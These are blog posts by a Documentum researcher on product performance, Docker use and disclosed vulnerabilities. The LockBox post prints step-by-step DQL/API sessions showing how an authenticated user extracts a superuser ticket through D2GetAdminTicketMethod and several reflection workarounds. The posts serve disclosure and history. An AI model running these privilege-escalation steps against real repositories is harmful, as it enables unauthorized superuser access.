To sell or not to sell…

It has been 11 months since I posted my last blogpost about vulnerabilities in Documentum stack, actually, I didn’t stop researching (it is interesting, and flatters my vanity) – I just stopped posting due to following two reasons:

  • There are “gifted” employees in EMC, this employees do think they are experts in bot security and Documentum and periodically (or day by day 🙂 ) read my blog and fecklessly try to understand what is written here and somehow remediate security flaws – such attempts are doomed to failure
  • Doing the same more officially, like file vulnerability reports to CERT/CC, brings a lot of headache – I consider vulnerability researching as a hobby, so, I have no interest to participate in such dumb activities – I tried and wasn’t satisfied with the results

Moreover, I have found that this activity improves neither product nor customer experience – D2 perfectly demonstrates this point. By the way, during last 11 months I discovered about 30 vulnerabilities in Documentum products and I periodically receive e-mails like:

Good Day, Andrey. My name is Roman, I found you contacts through seclists.org, where your HTTP session poisoning in EMC Documentum WDK-based applications causes arbitrary code execution and privilege elevation vulnerability was published.
I would like to offer you a collaboration that could be beneficial for both of us. I`m purchasing 0day exploits and vulnerabilities in software, big websites, routers. Would you be interested to sell it?
Looking forward to your reply.

Regards,
Roman.

What to do?

Copying version tree. Part II

Wow, Marian Caikovski have found a bug in my old blogpost about copying version tree 🙂 Though it is not clear what “The described method will work even if the root version in the source object has been previously deleted. But the copies will not be entirely valid.” does mean, because I observe the following behaviour:

Connected to Documentum Server running Release 7.3.0000.0214  Linux64.Postgres
Session id is s0
API> create,c,dm_document
...
0902987880002cf1
API> save,c,l
...
OK
API> checkout,c,l
...
0902987880002cf1
API> checkin,c,l
...
0902987880002cfc
API> fetch,c,0902987880002cfc
...
OK
API> checkout,c,l
...
0902987880002cfc
API> checkin,c,l
...
0902987880002cfe
API> destroy,c,0902987880002cf1
...
OK
API> fetch,c,0902987880002cf1
...
OK
API> saveasnew,c,l
...
[DM_SYSOBJECT_E_IS_DELETED]error:  
  "The sysobject '' has been deleted and can not be updated/deleted."

which could be fixed using following trick:

API> set,c,l,i_is_deleted
SET> F   
...
OK
API> saveasnew,c,l
...
0902987880002cf3

The complete code is available on github.

ACL performance

This blogpost is a follow-up for WTF??? blogpost, but describes the similar problem from Content Server perspective.

Two months ago one large company asked me to help them with performance issue, that time I had written two blogposts about how to diagnose performance issues in Documentum environment: Diagnostics challenge. Part I and Diagnostics challenge. Part II, but I did’t shed a light on what was the root cause. Interesting thing here is a fact that that time I was already familial with such performance problem in Documentum – we had filed a bug to EMC about four years ago but it is still not yet resolved: initially EMC was promising to resolve this performance problem in upcoming 7.x release, later they said something like “it requires a lot of effort – we are not going to fix it”.

Well, I’m not sure about all existing ECM solutions, but can definitely say about Documentum: Documentum (as a product) is not a ECM solution because it lacks concept of business roles (i.e. when business-users gets some capabilities according to the current context), and, hence, it is not suitable for enterprises. To prove my point let’s examine the most basic capability: certain user is able to read certain document. And the question is under what circumstances user gets read access to document? Actually, there are a plenty of reasons, some of them are:

  1. user is somehow involved in a business process related to this document, i.e. our user is an author, or reviewer, or addressee, or somebody else
  2. document was somehow classified and user gets access due to this classification, for example, members of legal department have access to all legal documents
  3. user is a legal successor of user from #1
  4. user is a secretary/assistant of user from #1
  5. user is a supervisor of user from #1
  6. user is a big boss and wants to see all documents in enterprise
  7. user is not a big boss, but wants to see all documents in branch office
  8. document somehow relates to another document, accessible by our user

I do not pretend that the list above is complete, but I do believe that it is common for all enterprises, and the problem is that Documentum (as a product) does not cover these cases – even combining #1 and #2 is already a challenge (check What is wrong in Documentum. Part III blogpost); #8 requires functionality of dynamic groups (check Dynamic groups. Advances. Part IV), which is not properly documented; for #3, #4 and #5 the best approach seems to be do not use direct grants to users, but instead create an associated group for each user – all these tricks require additional coding, however EMC thinks that companies do not buy their “product” because of costs of database licenses, but not because their “product” doesn’t fit customers’ needs. LOL 🙂

So, under such circumstances every customer/developer tends to invent own square wheel, and in most cases my job is to understand what was done and somehow improve that. The problem was following: customer’s application, every time when document was being saved to repository, was recalculating access permissions and was updating related acl as well – at first glance such implementation looks reasonable, but Content Server behaviour is extremely weird in such case: if you are saving acl which actually hasn’t been changed it takes extremely long time:

-- list of ACLs which contain more than 10000 accessors
API> ?,c,select r_object_id from dm_acl group by r_object_id 
     having count(r_accessor_name)>10000 enable(row_based)
r_object_id     
----------------
45024be98002b10c
45024be98002a74d
45024be98002a645
45024be98002a74c
(4 rows affected)

API> fetch,c,45024be98002a74d
...
OK

API> save,c,45024be98002a74d
... <--- 30 seconds 
OK

API> save,c,45024be98002a74d
... <--- double check: 30 seconds again
OK

--
-- now Content Server magic: we are adding
-- new record to acl
--
API> grant,c,45024be98002a74d,dm_read_all,AccessPermit,,6
...
OK

API> save,c,45024be98002a74d
... <--- less than a second
OK

Let’s investigate the difference between two cases (saving acl as is and adding new record).

First case:

[DM_SESSION_I_SESSION_START]info:  "Session 01024be98000c241 started for user dmadmin."


Connected to Documentum Server running Release 7.2.0030.0195  Linux64.Oracle
Session id is s0
API> apply,c,,SQL_TRACE,SESSION_ID,S,01024be98000c241,LEVEL,I,10
...
q0
API> next,c,q0
...
OK
API> dump,c,q0
...
USER ATTRIBUTES

  result                          : T

SYSTEM ATTRIBUTES


APPLICATION ATTRIBUTES


INTERNAL ATTRIBUTES


API> save,c,45024be98002a74d
...
OK
API> Bye
[dmadmin@docu72dev01 ord-dars]$ grep -i select \
> /u01/documentum/cs/dba/log/00024be9/dmadmin/01024be98000c241 | wc
  10800  173071 1811563

Second case:

[DM_SESSION_I_SESSION_START]info:  "Session 01024be98000c246 started for user dmadmin."


Connected to Documentum Server running Release 7.2.0030.0195  Linux64.Oracle
Session id is s0
API> apply,c,,SQL_TRACE,SESSION_ID,S,01024be98000c246,LEVEL,I,10
...
q0
API> next,c,q0
...
OK
API> dump,c,q0
...                                
USER ATTRIBUTES

  result                          : T

SYSTEM ATTRIBUTES


APPLICATION ATTRIBUTES


INTERNAL ATTRIBUTES


API> grant,c,45024be98002a74d,dm_browse_all,AccessPermit,,3
...
OK
API> save,c,45024be98002a74d
...
OK
API> Bye
[dmadmin@docu72dev01 ord-dars]$ grep -i select \
> /u01/documentum/cs/dba/log/00024be9/dmadmin/01024be98000c246 | wc
     28     719    9178

Wow, 10800 select statements in first case and just 28 select statements in second case! Looks like something is wrong, doesn’t it? Fortunately, four years ago I was dealing with another ACL performance issue and, in order to prove their wrong opinion, EMC had shared source code related to ACL processing, below is a code snippet which demonstrates wrong behaviour:

  // In order to validate the ACE's for this ACL, we will
  // find the first ACE that has been modified (r_accessor_name,
  // r_accessor_permit, r_accessor_xpermit, permit_type and
  // application_permit) and then validate all ACE's from that
  // entry to the end of the ACE list.
  int from = 0;
  if (changed[_pos._accessorName] > 0)
    from = changed[_pos._accessorName];
  if (changed[_pos._accessorPermit] > 0)
    from = min(from, changed[_pos._accessorPermit]);
  if (changed[_pos._accessorXPermit] > 0)
    from = min(from, changed[_pos._accessorXPermit]);
  if (changed[_pos._permitType] > 0)
    from = min(from, changed[_pos._permitType]);
  if (changed[_pos._applicationPermit] > 0)
    from = min(from, changed[_pos._applicationPermit]);

Do you see a mistake? Here it is:

  int from = 0;
  // from is always 0 if we haven't changed accessors
  if (changed[_pos._accessorName] > 0)
    from = changed[_pos._accessorName];

and the correct code is:

  int from = this->GetAttrValueCount(_pos._accessorName);
  if (changed[_pos._accessorName] > 0)
    from = changed[_pos._accessorName];

So, just one line to fix an issue.

What is the date today?

groovy:000> cal = Calendar.getInstance();
===> java.util.GregorianCalendar
groovy:000> cal.set(2016,Calendar.SEPTEMBER,12);
===> null
groovy:000> cal.add(Calendar.DAY_OF_YEAR, 120);
===> null
groovy:000> cal.getTime();
===> Tue Jan 10 01:23:10 AEDT 2017

May be OpenText guys have changed their mind??

UPD.

There is a hypothesis about January 13:

ETL 01: Documentum -> MuleSoft -> Filesystem

Interesting blogpost about MuleSoft and Documentum, though I prefer to use Apache Camel 🙂

Digital Transformation Patterns

This post is the first in a series focused on Extract-Transform-Load tools and techniques that I will discuss on this blog.

MuleSoft is an excellent tool to integrate real time updates (such as approved documents) from one system into another system.  MuleSoft has a very rich developer community with lots of examples, a good YouTube channel, and training …. I recommend this free 8 week course to learn the fundamentals.

We can use the Documentum REST interface to run a Documentum query, then either store the results or extract related PDF files from the system.

You can image the use cases for this set of tools:

  • Migrate content into or out of Documentum
  • Synchronize master data between systems
  • Publish content from Documentum to Box, Dropbox, Microsoft SkyDrive, Google Drive, etc.

Postman

Anyone new to the Documentum REST will want to use Postman to investigate some of the URLs that…

View original post 366 more words

Docker challenge

This blogpost is a follow-up for Think soberly. Is it hard? blogpost – that time it was unclear what ECM was going to do with docker (though, I was suspecting that nothing good would happen), so there was nothing to discuss, now EMC has released something and we are able to discuss pros and cons of their “solution”. It is also worth noting following blogposts related to impartial user experience:

There are also two interesting things:

  1. All this Docker stuff somehow relates to DevOps activities, and I used to be a DevOps from 2005 to 2008 – long before it became a mainstream 🙂
  2. Linux Containers are not something new or extraordinary – I already mentioned that in Docker and Documentum. Part I blogpost – just a couple of guys decided to promote this concept to a mainstream and created OOTB solution

So, why containers?

There is only one correct answer for this question: we have a lot of similar configuration items and want to automate their maintenance routines, moreover, we do think that maintenance overhead introduced by containers won’t exceed overheads introduced by other techniques. The problem is there is no clear boundary when containers are good and when they are harm, but it is important to understand that containerized environment is not a goal – it is an instrument. Let’s elaborate this point.

Imagine we are a hosting provider and we host a lot of php (potentially insecure) websites, and our goals are:

  • provide resources to customers according to their plan
  • provide enough flexibility to customers, e.g. customers are able to configure http-server
  • isolate customers from each other
  • do not use virtualisation due to overheads

Is it a Docker case? For sure yes!

Now, imagine that we are a software development company and our goal is to automate SDLC routines, for example, we want to test our product against different versions (and implementations) of third-party software, moreover, we want to test both releases and patches/hotfixes.

Is it a Docker case? For sure yes! Moreover, I pursue this case only.

Again, imagine that we are a software development company and our goal is to provide demo-version of our software for potential customers, i.e. we are interested that any potential customer might be able to evaluate our software immediately without reading tons of useless manuals.

Is it a Docker case? I’m not sure – I would prefer to build virtual machine for sober customers and docker image for geeks – just to follow a mainstream 🙂

Now, imagine that we are a customer, and have spent last money for Documentum, we have production environment and, may be, a test/uat environment.

Is it a Docker case? For sure not!

Now, about official Documentum Docker images

What EMC is doing is nailing screws using hammer 🙂 They understand neither applicability of Docker, nor the technology. Let’s provide some examples.

Below is a part of Alvaro’s blogpost:

Note, that it does not fit to a one screen and seems to be incomplete and wrong, due to following considerations:

  • “Docker image with Documentum Administrator” sounds completely ridiculous – apache tomcat perfectly fits “containerization concept” and the only correct way to run java-application inside Docker container is:
    [root@rhel73docker01 ~]# docker run -d -h webtop68dev01 \
    > -v /u01/distr/webtop-6.8-0000.0286.war:/usr/local/tomcat/webapps/webtop.war:ro \
    > tomcat:8.0
    3ba6af536629112fcc006ad68e280222c44b1ed73e2be34d7379f04e3f753c76
    [root@rhel73docker01 ~]# 
    

    actually, it is also required to map log directory and directories, containing dfc.properties and dfc.keystore files (dfc.config.dir and dfc.data.dir), but the whole idea, I believe, is absolutely clear – just one shell command to run a container

  • it is absolutely not clear how to manage this Docker image in distributed environment: EMC has written some bootstrap procedure, where I need to setup DOCBROKER_IP and DOCBROKER_PORT parameters, what am I supposed to do when I have multiple content servers? It is absolutely clear that I should place the contents of dfc.config.dir and dfc.data.dir outside of container (surprisingly, EMC implemented that in case of D2, though the values of dfc.data.dir and dfc.tokenstorage.dir parameters in Alvaro’s blogpost seem to be wrong)

As regards to Content Server, there is nothing to discuss thoroughly – their scripts are a mess. The only thing I want to discuss in this context is an applicability of Docker containers for Content Server.

I do believe that new technologies must accumulate previously received knowledge and best practices, for example, in case of Content Server I do think that the best storage option is a NAS appliance with 1-2Tb volumes, unfortunately, it seems that Docker engine experiences difficulties with such setup:

Summarising two previous issues it gets clear that if I want to implement my best practices I need manage NFS-volumes inside Docker container(s), yes, it is possible, but requires to run extra services inside container (rpcbind, portmapper, rpc.statd and rpc.lockd), which, no doubts, complicates my environment. But the problem here is not a fact that I have found an extremely specific case which does not fit Docker environment well (I can provide more), the problem is that EMC didn’t find/describe it – all what we have is a set of smelling shell scripts which do “something” and customers are supposed to guess what those scripts do and what will work and what will not.

D2 (and Webtop and xCP) CTF

Alvaro de Andres' Blog

CTF (Content Transfer Framework) is how EMC Dell calls their “new UCF”. It works as a browser extension, and is the same extension you’ve used for the latest version of Webtop (new functionality getting first to Webtop? LOL). And this mode is not the default (why?) so you’ll need to change it in the settings.properties file of D2.

Also, this extension will generate some “index” files on the folder where you download files:

  • .checkout.xml
  • .d2_edit_storage.json
  • .d2_view_storage.json
  • .view.xml

That contain object names, ids, operation performed, and folder paths of the files transferred.

Tested on latest Firefox Nightly x64 and Chrome.

FYI, I’m pasting the “wonderful” ASCII compatibility matrix provided by Dell in the configuration file:

#     +——————-+——+——+——+——+
#     | Browser:OS Mode | Thin | Java | ctf  | Note |
#     +——————-+——+——+——+——+
#     | IE 11             | yes  | yes  | yes  |      |
#     +——————-+——+——+——+——+
#     | Edge              | yes …

View original post 155 more words

Say goodbuy LockBox. Part II

Wow, interesting news came from where I didn’t expect: ECN guys states that EMC have stopped torturing customers and gave up the idea of using RSA Lockbox.

Here’s a little history of the Lockbox story that you might want to read:

November 2013

Reported to EMC using support portal, proof of concept how authenticated user was able to gain superuser privileges:

1> create c6_method_return object set message='test' 
2> go 
object_created 
-------------- 
00002ee280000e9b 
(1 row affected) 
1> execute do_method with method='D2GetAdminTicketMethod', 
2> arguments='-docbase_name d2 -password "" -method_return_id 00002ee280000e9b' 
3> go 
... 
(1 row affected) 
1> select message from c6_method_return where r_object_id='00002ee280000e9b' 
2> go 
message 
-------------- 
DM_TICKET=T0..... 
(1 row affected)

January 2014

EMC released Document D2 v 4.2 and some patches for previous versions, no CVE announced. The EMC “solution” was to encrypt data passed through c6_method_return objects

February 2014

Discovered a reflection attack on D2GetAdminTicketMethod method:

1> create c6_method_return object set message='test' 
2> go 
object_created 
---------------- 
00002f0a8000291d 
(1 row affected) 
1> execute do_method with method='D2GetAdminTicketMethod', 
2> arguments='-docbase_name d242 -password "" -method_return_id 00002f0a8000291d 
3> -scope global -timeout 3600' 
4> go 
... 
(1 row affected) 
1> select message from c6_method_return where r_object_id='00002f0a8000291d' 
2> go 
--- 
--- now message contains encrypted data 
--- 
message 
---------------------------------------------------------------------------- 
AAAAEMm1Ypog8dNWsELGoge38HRKVIUnN4/vw4rmz8xJ7EcZuOaQ8rT6vAktbc8g5qV07pme7nt2 
hG4D+ljeR2G5JCystXA8JDDaxmM5xjNfwshe9YldFZBlSinYBvFdigpuZCmTFES+n1b5ZbVC/L7b 
aZ7UI1LI06YhJvRcVjB9mzwMENk8H7KaxDXiFBCEQSiNNn5DoXwjZPWLJd9WTdXIlXpPzWAR2KG+ 
... 
(1 row affected)
1> update c6_method_return object 
2> set parameter_name[0]='-timeout', 
3> set parameter_value[0]=(select message from c6_method_return 
4> where r_object_id='00002f0a8000291d') 
5> where r_object_id='00002f0a8000291d' 
6> go 
objects_updated 
--------------- 
1 
(1 row affected) 
[DM_QUERY_I_NUM_UPDATE]info: "1 objects were affected by your UPDATE statement." 

1> execute do_method with method='D2GetAdminTicketMethod', 
2> arguments='-docbase_name d242 -password "" -method_return_id 00002f0a8000291d 
3> -scope global' 
4> go 
... 
(1 row affected) 

1> select error from c6_method_return where r_object_id='00002f0a8000291d' 
2> go 
--- 
--- Here NumberFormatException occurs and unencrypted ticked is written 
--- to error field of c6_method_return object 
--- 
error 
---------------------------------------------------------------------------- 
For input string: "DM_TICKET=T0JKIE5VTEwgMAoxMwp2ZXJzaW9uIElOVCBTIDAKMwpmbGFncyBJTlQ 
(1 row affected)

March 2014

EMC released P01 patch for EMC Documentum D2 v4.2, no CVE announced. The vendor “solution” was not to store exception messages into “error” attribute of c6_method_return object if exception message contains “DM_TICKET” character sequence.

April 2014

Discovered another reflection attack based on verbose logging of D2GetAdminTicketMethod:

API> create,c,c6_method_return 
... 
000224838000011f 
API> save,c,l 
... 
OK 
API> apply,c,,DO_METHOD,METHOD,S,D2GetAdminTicketMethod, 
ARGUMENTS,S,' 
-docbase_name d2 
-password "" 
-method_return_id 000224838000011f 
-scope global 
-timeout 3600 
' 
... 
q0 
API> next,c,q0 
... 
OK 
API> dump,c,q0 
... 
USER ATTRIBUTES 

result : 0 
process_id : 0 
launch_failed : F 
method_return_val : 0 
os_system_error : No Error 
timed_out : F 
time_out_length : 100 
app_server_host_name : test 
app_server_port : 9080 
app_server_uri : /DmMethods/servlet/DoMethod 
error_message : 

SYSTEM ATTRIBUTES 


APPLICATION ATTRIBUTES 


INTERNAL ATTRIBUTES 


API> close,c,q0 
... 
OK 
API> revert,c,000224838000011f 
... 
OK 
API> get,c,000224838000011f,message 
... 
AAAAEFRN36mfm+NAm49DQAZol1fSBbIgoELusFMnk4eE6r3qNPm/83NDxqiFyoe7Yt/GOjASn6v2 
v2XjSaJq5MqGK8PgrNPbNz5KSAzxcKTWorJym/7ceZsp9l5pSUcDr1mj8xKg0M/iH8AIS8ZGZ9/L 
2bd1FOth86ISN2OnAIOAlzh32I0/YcLYt7nSSfFWDL9H9qzzkp6Za/NeZt4Z0kE1gYNPaVrlPD4D 
qC4bcSb3p54VeAZCVOgpUp3sJ+8kevoRQSKckOTSinBYF4qQa9pnNYQx8wczFk2/pM0pkCdDigyT 
... 

API> ?,c,update c6_method_return object 
set parameter_name[0]='-timeout', 
set parameter_value[0]=(select message from c6_method_return 
where r_object_id='000224838000011f') 
where r_object_id='000224838000011f' 
objects_updated 
--------------- 
1 
(1 row affected) 
[DM_QUERY_I_NUM_UPDATE]info: "1 objects were affected by your UPDATE statement." 

--- 
--- Here we put extra parameter "SAVE_RESULTS,B,T" to save execution results 
--- of D2GetAdminTicketMethod docbase method 
--- 
API> apply,c,,DO_METHOD,METHOD,S,D2GetAdminTicketMethod, 
ARGUMENTS,S,' 
-docbase_name d2 
-password "" 
-method_return_id 000224838000011f 
-scope global -timeout 3600 
', 
SAVE_RESULTS,B,T 
... 
q0 
API> next,c,q0 
... 
OK 
API> dump,c,q0 
... 
USER ATTRIBUTES 

result : 0902248380002a67 
result_doc_id : 0902248380002a67 
process_id : 0 
launch_failed : F 
method_return_val : 0 
os_system_error : No Error 
timed_out : F 
time_out_length : 100 
app_server_host_name : test 
app_server_port : 9080 
app_server_uri : /DmMethods/servlet/DoMethod 
error_message : 

SYSTEM ATTRIBUTES 


APPLICATION ATTRIBUTES 


INTERNAL ATTRIBUTES 


API> close,c,q0 
... 
OK 
--- 
--- Now message contains encrypted data and error is empty 
--- 
API> get,c,000224838000011f,message 
... 
AAAAEBBMjU2FE27RAOiKSkZdJZM7tl1ht+LhqjvPsmr9DPg3nVgGFyROrETPX6Wy8uuEWbtKSWs3 
MNr8qe3EBNTejbieKZ2YzzUY/46fLdbOQFInczwrNCBoWF9zBnTlhoHK1f+ctpm9nUsK2wJbDZXb 
mk6+1VO5RsUEuFV/qux5LBdXpIr7dRornpDJiBP5hoPILObq4++KvBfhZjaPxEnoOMksfwgmU8XC 
... 
--- 
--- But execution results do contain unencrypted ticket 
--- 
API> get,c,000224838000011f,error 
... 

API> getpath,c,0902248380002a67 
... 
/u01/documentum/cs/data/d2/content_storage_01/00022483/80/00/09/e1.txt 
API> quit 
Bye 
~]$ cat content_storage_01/00022483/80/00/09/e1.txt 
==== START ======================================================= 
D2-API v4.2.0010 build 378 
DFC version : 7.1.0020.0120 
file.encoding : UTF-8 
Arguments : {-docbase_name=d2, 
-method_return_id=000224838000011f, 
-password=, 
-class_name=com.emc.d2.api.methods.D2GetAdminTicketMethod, 
-scope=global, 
-timeout=DM_TICKET=T0JKIE5VTEwgMAoxMwp.... 
} 
-Scope : global 
-TimeOut : 3600 
-SingleUse : true 
==== END (0.095s) ================================================

August 2014

EMC announced CVE-2014-2515, the solution was intended to mitigate previously described reflection attacks

August 2014

Discovered another set of vulnerabilities in implementation of “protection” of D2GetAdminTicketMethod method. The basic idea was: attacker was able to delete any file from CS filesystem, and in case of deletion of Lockbox file D2 started to use default passphrase (i.e. com.emc.d2.api.utils.GetCryptedPassword)

August 2014

EMC announced CVE-2015-4537

February 2015

I got tired and proved that RSA Lockbox is not a security solution: RSA LOCKBOX MAGIC 🙂.

Check and mate.

PostgreSQL performance

Yesterday I was playing with Documentum/PostgreSQL installed into Docker container trying to either prove or refute the following statement from release notes:

Actually, it is not clear how EMC got such “promising” results, because all my knowledge about PostgreSQL tells me that the statement about “15% performance gap” sounds too optimistic. Let’s explain.

First of all, I do not want to put any blame on PostgreSQL – it is just a database which plays in second league (for the record: Oracle plays in premier league, MSSQL plays in first league), and I’m not going to explain thoroughly why I think so, but the basic idea is PostgreSQL completely lacks diagnostics and backup and recovery tools, and tools which exist are a piece of dog crap – example below demonstrates how “explain analyze” lies about execution time:

--
-- I create 5Gb table in database and PostgreSQL reports that 
-- it is able to read all data from this table in 1 ms.
-- Fuck yeah, PostgreSQL turned my MBP into a supercomputer
--
postgres=# create table t1 as select lpad('x',100,'x') as a1, 
postgres-#                  (SELECT array_to_string(ARRAY(SELECT chr((65 + round(random() * 25)) :: integer) 
postgres(#                    FROM generate_series(1,1024*1024)), '')
postgres(#                  ) as a2 from generate_series(1,5*1024);
SELECT 5120
postgres=# explain analyze select a2 from t1;
                                             QUERY PLAN                                              
-----------------------------------------------------------------------------------------------------
 Seq Scan on t1  (cost=0.00..145.20 rows=5120 width=18) (actual time=0.023..0.758 rows=5120 loops=1)
 Planning time: 3.140 ms
 Execution time: 0.963 ms
(3 rows)

postgres=# explain analyze select a2 from t1;
                                             QUERY PLAN                                              
-----------------------------------------------------------------------------------------------------
 Seq Scan on t1  (cost=0.00..145.20 rows=5120 width=18) (actual time=0.010..1.056 rows=5120 loops=1)
 Planning time: 0.033 ms
 Execution time: 1.380 ms
(3 rows)

postgres=# 

Now, why I doubt that “15% performance gap” is realistic.

The main problem is MVCC implementation in PostgreSQL – every time when you update row PostgreSQL creates new version of data and stores it in another place – note that ctid gets changed upon every update:

postgres=# create table t1(a1 int);
CREATE TABLE
postgres=# insert into t1 values(1);
INSERT 0 1
postgres=# begin;
BEGIN
postgres=# select ctid, a1 from t1;
 ctid  | a1 
-------+----
 (0,1) |  1
(1 row)

postgres=# update t1 set a1=2;
UPDATE 1
postgres=# select ctid, a1 from t1;
 ctid  | a1 
-------+----
 (0,2) |  2
(1 row)

postgres=# update t1 set a1=3;
UPDATE 1
postgres=# select ctid, a1 from t1;
 ctid  | a1 
-------+----
 (0,3) |  3
(1 row)

and such behaviour leads to the following conclusions:

  • wide tables do not like updates – it is required to copy a lot of data
  • every update affects all table indexes

My experience (comparison with Oracle, single user) is following:

  • inserts (creation of objects) are 15% slower
  • updates are 50% slower